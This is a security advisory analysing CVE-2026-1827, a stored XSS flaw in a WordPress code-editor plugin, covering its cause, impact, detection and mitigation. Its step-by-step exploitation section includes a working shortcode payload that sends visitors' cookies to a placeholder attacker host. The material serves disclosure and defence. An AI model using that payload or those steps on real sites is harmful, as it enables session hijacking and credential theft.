CVE-2026-1827: 
WordPress vulnerability analysis and mitigation

CVE-2026-1827 is a Stored Cross-Site Scripting (XSS) vulnerability in the Flask Micro code-editor plugin for WordPress. It affects all versions up to and including 1.0.0, arising from insufficient input sanitization and output escaping on user-supplied attributes within the codeflask shortcode. The vulnerability was published on February 11, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (Feedly, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The plugin fails to sanitize user-supplied attributes passed to the codeflask shortcode before rendering them in page output, allowing arbitrary JavaScript to be stored and later executed in victims' browsers. Exploitation requires an authenticated account with at minimum contributor-level privileges, meaning the attacker must have the ability to create or edit posts/pages containing shortcodes (Feedly, InfinitSec).

Successful exploitation allows an authenticated contributor to inject persistent malicious scripts into WordPress pages that execute in the browsers of any user who visits the affected page. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of victims (including administrators), and potential site takeover if an administrator's session is compromised. Confidentiality and integrity are both impacted at a low level per the CVSS assessment, with no direct availability impact (Feedly).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-1827 as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been identified (Feedly).

1. Gain contributor access: Register or compromise a WordPress account with at least contributor-level privileges on the target site running Flask Micro code-editor plugin ≤ 1.0.0.
2. Create or edit a post/page: Navigate to the WordPress editor and create or edit a post or page where shortcodes are rendered.
3. Inject malicious shortcode: Insert a codeflask shortcode with a crafted attribute containing a JavaScript payload, for example: [codeflask attribute="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the content: Save and publish the post or page so the malicious shortcode is stored in the database.
5. Trigger execution: When any user (including administrators) visits the injected page, the unsanitized attribute is rendered in the HTML output and the injected script executes in their browser, enabling session hijacking or further attacks (InfinitSec, Feedly).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API containing codeflask shortcode with encoded or raw script tags in the request body.
• Database: WordPress wp_posts table entries containing [codeflask shortcode with JavaScript payloads (e.g., <script>, onerror=, onload=, javascript:) in post content.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing the codeflask shortcode, potentially carrying cookie or session data in query parameters.
• File System: No direct file system artifacts expected for stored XSS; however, monitor for newly created or modified posts/pages by contributor-level accounts containing script-like content in shortcode attributes.

As of the disclosure date, no patched version beyond 1.0.0 has been confirmed available. Site administrators should immediately deactivate and remove the Flask Micro code-editor plugin until a patched version is released. As a compensating control, restrict contributor-level user registrations and audit existing contributor accounts. Implementing a Web Application Firewall (WAF) rule to block shortcode attributes containing script tags can provide additional defense-in-depth (Wordfence, Feedly).

Wordfence included CVE-2026-1827 in its weekly WordPress vulnerability report for the period of February 9–15, 2026, highlighting it as part of a broader set of plugin vulnerabilities affecting WordPress sites (Wordfence). Red Hat also tracked the CVE in its security advisory database (Red Hat). No significant broader media coverage or notable researcher commentary beyond standard vulnerability aggregation has been identified.